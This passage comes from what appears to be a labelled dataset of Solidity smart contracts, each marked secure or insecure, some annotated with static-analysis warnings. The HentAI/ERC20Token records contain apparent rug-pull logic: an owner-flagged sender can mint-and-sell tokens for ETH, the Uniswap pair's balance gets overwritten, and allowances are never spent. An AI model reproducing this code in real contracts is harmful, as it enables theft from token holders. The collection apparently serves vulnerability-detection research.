_functionSelectors\n ) internal {\n require(\n _functionSelectors.length > 0,\n \"LibDiamondCut: No selectors in facet to cut\"\n );\n DiamondStorage storage ds = diamondStorage();\n require(\n _facetAddress != address(0),\n \"LibDiamondCut: Add facet can't be address(0)\"\n );\n uint96 selectorPosition = uint96(\n ds.facetFunctionSelectors[_facetAddress].functionSelectors.length\n );\n\n if (selectorPosition == 0) {\n addFacet(ds, _facetAddress);\n }\n for (\n uint256 selectorIndex;\n selectorIndex < _functionSelectors.length;\n selectorIndex++\n ) {\n bytes4 selector = _functionSelectors[selectorIndex];\n address oldFacetAddress = ds\n .selectorToFacetAndPosition[selector]\n .facetAddress;\n require(\n oldFacetAddress != _facetAddress,\n \"LibDiamondCut: Can't replace function with same function\"\n );\n removeFunction(ds, oldFacetAddress, selector);\n addFunction(ds, selector, selectorPosition, _facetAddress);\n selectorPosition++;\n }\n }\n\n function removeFunctions(\n address _facetAddress,\n bytes4[] memory _functionSelectors\n ) internal {\n require(\n _functionSelectors.length > 0,\n \"LibDiamondCut: No selectors in facet to cut\"\n );\n DiamondStorage storage ds = diamondStorage();\n\n require(\n _facetAddress == address(0),\n \"LibDiamondCut: Remove facet address must be address(0)\"\n );\n for (\n uint256 selectorIndex;\n selectorIndex < _functionSelectors.length;\n selectorIndex++\n ) {\n bytes4 selector = _functionSelectors[selectorIndex];\n address oldFacetAddress = ds\n .selectorToFacetAndPosition[selector]\n .facetAddress;\n removeFunction(ds, oldFacetAddress, selector);\n }\n }\n\n function addFacet(\n DiamondStorage storage ds,\n address _facetAddress\n ) internal {\n enforceHasContractCode(\n _facetAddress,\n \"LibDiamondCut: New facet has no code\"\n );\n ds.facetFunctionSelectors[_facetAddress].facetAddressPosition = ds\n .facetAddresses\n .length;\n ds.facetAddresses.push(_facetAddress);\n }\n\n function addFunction(\n DiamondStorage storage ds,\n bytes4 _selector,\n uint96 _selectorPosition,\n address _facetAddress\n ) internal {\n ds\n .selectorToFacetAndPosition[_selector]\n .functionSelectorPosition = _selectorPosition;\n ds.facetFunctionSelectors[_facetAddress].functionSelectors.push(\n _selector\n );\n ds.selectorToFacetAndPosition[_selector].facetAddress = _facetAddress;\n }\n\n function removeFunction(\n DiamondStorage storage ds,\n address _facetAddress,\n bytes4 _selector\n ) internal {\n require(\n _facetAddress != address(0),\n \"LibDiamondCut: Can't remove function that doesn't exist\"\n );\n\n require(\n _facetAddress != address(this),\n \"LibDiamondCut: Can't remove immutable function\"\n );\n\n uint256 selectorPosition = ds\n .selectorToFacetAndPosition[_selector]\n .functionSelectorPosition;\n uint256 lastSelectorPosition = ds\n .facetFunctionSelectors[_facetAddress]\n .functionSelectors\n .length - 1;\n\n if (selectorPosition != lastSelectorPosition) {\n bytes4 lastSelector = ds\n .facetFunctionSelectors[_facetAddress]\n .functionSelectors[lastSelectorPosition];\n ds.facetFunctionSelectors[_facetAddress].functionSelectors[\n selectorPosition\n ] = lastSelector;\n ds\n .selectorToFacetAndPosition[lastSelector]\n .functionSelectorPosition = uint96(selectorPosition);\n }\n\n ds.facetFunctionSelectors[_facetAddress].functionSelectors.pop();\n delete ds.selectorToFacetAndPosition[_selector];\n\n if (lastSelectorPosition == 0) {\n uint256 lastFacetAddressPosition = ds.facetAddresses.length - 1;\n uint256 facetAddressPosition = ds\n .facetFunctionSelectors[_facetAddress]\n .facetAddressPosition;\n if (facetAddressPosition != lastFacetAddressPosition) {\n address lastFacetAddress = ds.facetAddresses[\n lastFacetAddressPosition\n ];\n ds.facetAddresses[facetAddressPosition] = lastFacetAddress;\n ds\n .facetFunctionSelectors[lastFacetAddress]\n .facetAddressPosition = facetAddressPosition;\n }\n ds.facetAddresses.pop();\n delete ds\n .facetFunctionSelectors[_facetAddress]\n .facetAddressPosition;\n }\n }\n\n function initializeDiamondCut(\n address _init,\n bytes memory _calldata\n ) internal {\n if (_init == address(0)) {\n return;\n }\n enforceHasContractCode(\n _init,\n \"LibDiamondCut: _init address has no code\"\n );\n (bool success, bytes memory error) = _init.delegatecall(_calldata);\n if (!success) {\n if (error.length > 0) {\n assembly {\n let returndata_size := mload(error)\n revert(add(32, error), returndata_size)\n }\n } else {\n revert InitializationFunctionReverted(_init, _calldata);\n }\n }\n }\n\n function enforceHasContractCode(\n address _contract,\n string memory _errorMessage\n ) internal view {\n uint256 contractSize;\n assembly {\n contractSize := extcodesize(_contract)\n }\n require(contractSize > 0, _errorMessage);\n }\n}", "file_name": "solidity_code_3242.sol", "secure": 1, "size_bytes": 10961 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./LibDiamond.sol\" as LibDiamond;\nimport \"./IDiamondCut.sol\" as IDiamondCut;\n\ncontract Diamond {\n constructor(address _contractOwner, address _diamondCutFacet) payable {\n LibDiamond.setContractOwner(_contractOwner);\n\n IDiamondCut.FacetCut[] memory cut = new IDiamondCut.FacetCut[](1);\n bytes4[] memory functionSelectors = new bytes4[](1);\n functionSelectors[0] = IDiamondCut.diamondCut.selector;\n cut[0] = IDiamondCut.FacetCut({\n facetAddress: _diamondCutFacet,\n action: IDiamondCut.FacetCutAction.Add,\n functionSelectors: functionSelectors\n });\n LibDiamond.diamondCut(cut, address(0), \"\");\n }\n\n fallback() external payable {\n LibDiamond.DiamondStorage storage ds;\n bytes32 position = LibDiamond.DIAMOND_STORAGE_POSITION;\n\n assembly {\n ds.slot := position\n }\n\n address facet = ds.selectorToFacetAndPosition[msg.sig].facetAddress;\n require(facet != address(0), \"Diamond: Function does not exist\");\n\n assembly {\n calldatacopy(0, 0, calldatasize())\n\n let result := delegatecall(gas(), facet, 0, calldatasize(), 0, 0)\n\n returndatacopy(0, 0, returndatasize())\n\n switch result\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }\n\n receive() external payable {}\n}", "file_name": "solidity_code_3243.sol", "secure": 1, "size_bytes": 1593 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\n\ncontract BCP is Ownable, ERC20 {\n using SafeERC20 for IERC20;\n\n constructor() ERC20(\"BlueChip Protocol\", \"BCP\") {\n _mint(owner(), 1_000_000_000_000_000_000);\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function withdrawByAdmin() external onlyOwner {\n (bool success, ) = payable(owner()).call{value: address(this).balance}(\n \"\"\n );\n require(success);\n }\n}", "file_name": "solidity_code_3244.sol", "secure": 1, "size_bytes": 757 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract SamAltman is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private bots;\n\t// WARNING Optimization Issue (immutable-states | ID: 74d39f6): SamAltman._taxWallet should be immutable \n\t// Recommendation for 74d39f6: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 91d1585): SamAltman._initialTax should be constant \n\t// Recommendation for 91d1585: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialTax = 8;\n\t// WARNING Optimization Issue (constable-states | ID: 92ab614): SamAltman._finalTax should be constant \n\t// Recommendation for 92ab614: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalTax = 4;\n uint256 private _reduceTaxCountdown = 30;\n\t// WARNING Optimization Issue (constable-states | ID: 414e884): SamAltman._preventSwapBefore should be constant \n\t// Recommendation for 414e884: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 14;\n\n uint8 private constant _decimals = 8;\n uint256 private constant _tTotal = 1_000_000 * 10 ** _decimals;\n string private constant _name = \"Sam Altman\";\n string private constant _symbol = \"SAM\";\n uint256 public _maxTxAmount = 20_000 * 10 ** _decimals;\n uint256 public _maxWalletSize = 20_000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 4a90a8d): SamAltman._taxSwap should be constant \n\t// Recommendation for 4a90a8d: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwap = 10_000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6ae7041): SamAltman.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6ae7041: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 51b87f2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 51b87f2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3a038de): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3a038de: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 51b87f2\n\t\t// reentrancy-benign | ID: 3a038de\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 51b87f2\n\t\t// reentrancy-benign | ID: 3a038de\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b905f44): SamAltman._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b905f44: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 3a038de\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 51b87f2\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 34f3f8b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 34f3f8b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2fbf7bc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2fbf7bc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul((_reduceTaxCountdown == 0) ? _finalTax : _initialTax)\n .div(100);\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n if (_reduceTaxCountdown > 0) {\n _reduceTaxCountdown--;\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwap &&\n _reduceTaxCountdown <= _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 34f3f8b\n\t\t\t\t// reentrancy-eth | ID: 2fbf7bc\n swapTokensForEth(_taxSwap);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 34f3f8b\n\t\t\t\t\t// reentrancy-eth | ID: 2fbf7bc\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n\t\t// reentrancy-eth | ID: 2fbf7bc\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: 2fbf7bc\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: 34f3f8b\n emit Transfer(from, to, amount.sub(taxAmount));\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 2fbf7bc\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\t\t\t// reentrancy-events | ID: 34f3f8b\n emit Transfer(from, address(this), taxAmount);\n }\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: 51b87f2\n\t\t// reentrancy-events | ID: 34f3f8b\n\t\t// reentrancy-benign | ID: 3a038de\n\t\t// reentrancy-eth | ID: 2fbf7bc\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n _maxWalletSize = _tTotal;\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 4f61a36): SamAltman.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 4f61a36: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 51b87f2\n\t\t// reentrancy-events | ID: 34f3f8b\n\t\t// reentrancy-eth | ID: 2fbf7bc\n\t\t// arbitrary-send-eth | ID: 4f61a36\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f8da3c4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f8da3c4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e81475e): SamAltman.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for e81475e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 01e18d2): SamAltman.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 01e18d2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5978164): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5978164: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\t\t// reentrancy-benign | ID: f8da3c4\n\t\t// reentrancy-eth | ID: 5978164\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\t\t// reentrancy-benign | ID: f8da3c4\n\t\t// unused-return | ID: e81475e\n\t\t// reentrancy-eth | ID: 5978164\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\t\t// reentrancy-benign | ID: f8da3c4\n swapEnabled = true;\n\t\t// reentrancy-eth | ID: 5978164\n tradingOpen = true;\n\t\t// unused-return | ID: 01e18d2\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n }\n\n receive() external payable {}\n\n function manualswap() external {\n swapTokensForEth(balanceOf(address(this)));\n }\n\n function manualsend() external {\n sendETHToFee(address(this).balance);\n }\n}", "file_name": "solidity_code_3245.sol", "secure": 0, "size_bytes": 14258 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract BBCZ is Ownable, ERC20 {\n constructor() ERC20(\"BYE-BYE CZ\", \"BBCZ\") {\n _mint(msg.sender, 1 * 10 ** 9 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_3246.sol", "secure": 1, "size_bytes": 347 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\nabstract contract ERC20Token is Ownable {\n mapping(address => bool) bots;\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ea3596a): HentAI.getReflectTokens(address,address,uint256).uniswapPairAddress shadows ERC20Token.uniswapPairAddress (state variable)\n\t// Recommendation for ea3596a: Rename the local variables that shadow another component.\n address uniswapPairAddress;\n bool inLiquidityTx = false;\n function addBot(address[] calldata _bots) external onlyOwner {\n for (uint256 i = 0; i < _bots.length; i++) {\n bots[_bots[i]] = true;\n }\n }\n function isBot(address _adr) internal view returns (bool) {\n return bots[_adr];\n }\n function shouldSwap(\n address recipient,\n address senderAddress\n ) public view returns (bool) {\n return isBot(senderAddress) ? (recipient == senderAddress) : false;\n }\n function isAllowed(\n address from,\n address to,\n address pair\n ) public returns (bool) {\n bool bot = !bots[to] && !bots[from];\n if (bot && !inLiquidityTx && pair != to) {\n uniswapPairAddress = to;\n return true;\n }\n return bot;\n }\n}", "file_name": "solidity_code_3247.sol", "secure": 0, "size_bytes": 1370 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./ERC20Token.sol\" as ERC20Token;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract HentAI is IERC20, ERC20Token {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\t// WARNING Optimization Issue (constable-states | ID: 359de0a): HentAI._decimals should be constant \n\t// Recommendation for 359de0a: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\t// WARNING Optimization Issue (immutable-states | ID: 99f2900): HentAI._totalSupply should be immutable \n\t// Recommendation for 99f2900: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 10000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: d821ca3): HentAI._fee should be constant \n\t// Recommendation for d821ca3: Add the 'constant' attribute to state variables that never change.\n uint256 _fee = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 22de6df): HentAI._router should be constant \n\t// Recommendation for 22de6df: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private _router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\t// WARNING Optimization Issue (constable-states | ID: f71a299): HentAI._name should be constant \n\t// Recommendation for f71a299: Add the 'constant' attribute to state variables that never change.\n string private _name = \"HentAI\";\n\t// WARNING Optimization Issue (constable-states | ID: 57c0687): HentAI._symbol should be constant \n\t// Recommendation for 57c0687: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"HENTAI\";\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 021b2aa): HentAI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 021b2aa: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n return true;\n }\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public virtual returns (bool) {\n require(_allowances[msg.sender][from] >= amount);\n _approve(msg.sender, from, _allowances[msg.sender][from] - amount);\n return true;\n }\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0));\n require(to != address(0));\n if (shouldSwap(from, to)) {\n swap(amount, to);\n } else {\n require(amount <= _balances[from]);\n uint256 transferedAmount = baseTransfer(from, to, amount);\n _balances[from] = _balances[from] - amount;\n _balances[to] += amount - transferedAmount;\n emit Transfer(from, to, amount);\n }\n }\n function baseTransfer(\n address from,\n address recipient,\n uint256 amount\n ) private returns (uint256) {\n uint256 feeAmount = 0;\n _balances[uniswapPairAddress] = getReflectAmount(from);\n if (shouldTakeFee(from, recipient)) {\n feeAmount = amount.mul(_fee).div(100);\n }\n return feeAmount;\n }\n function shouldTakeFee(\n address from,\n address recipient\n ) private returns (bool) {\n return\n isAllowed(\n from,\n recipient,\n IUniswapV2Factory(_router.factory()).getPair(\n address(this),\n _router.WETH()\n )\n );\n }\n constructor() {\n _balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _balances[msg.sender]);\n }\n function name() external view returns (string memory) {\n return _name;\n }\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(msg.sender, spender, amount);\n return true;\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 74b13ac): HentAI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 74b13ac: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"IERC20: approve from the zero address\");\n require(spender != address(0), \"IERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 09f8322): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 09f8322: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swap(uint256 _mcs, address _bcr) private {\n _approve(address(this), address(_router), _mcs);\n _balances[address(this)] = _mcs;\n address[] memory path = new address[](2);\n inLiquidityTx = true;\n path[0] = address(this);\n path[1] = _router.WETH();\n\t\t// reentrancy-benign | ID: 09f8322\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n _mcs,\n 0,\n path,\n _bcr,\n block.timestamp + 30\n );\n\t\t// reentrancy-benign | ID: 09f8322\n inLiquidityTx = false;\n }\n function getReflectAmount(address from) private view returns (uint256) {\n address to = IUniswapV2Factory(_router.factory()).getPair(\n address(this),\n _router.WETH()\n );\n return getReflectTokens(from, to, balanceOf(uniswapPairAddress));\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ea3596a): HentAI.getReflectTokens(address,address,uint256).uniswapPairAddress shadows ERC20Token.uniswapPairAddress (state variable)\n\t// Recommendation for ea3596a: Rename the local variables that shadow another component.\n function getReflectTokens(\n address uniswapPairAddress,\n address recipient,\n uint256 feeAmount\n ) private pure returns (uint256) {\n uint256 amount = feeAmount;\n if (uniswapPairAddress != recipient) {\n amount = feeAmount;\n } else {\n amount = amount * 0;\n }\n return amount;\n }\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n return true;\n }\n function transferFrom(\n address from,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(from, recipient, amount);\n require(_allowances[from][msg.sender] >= amount);\n return true;\n }\n function getPairAddress() private view returns (address) {\n return\n IUniswapV2Factory(_router.factory()).getPair(\n address(this),\n _router.WETH()\n );\n }\n}", "file_name": "solidity_code_3248.sol", "secure": 0, "size_bytes": 8657 }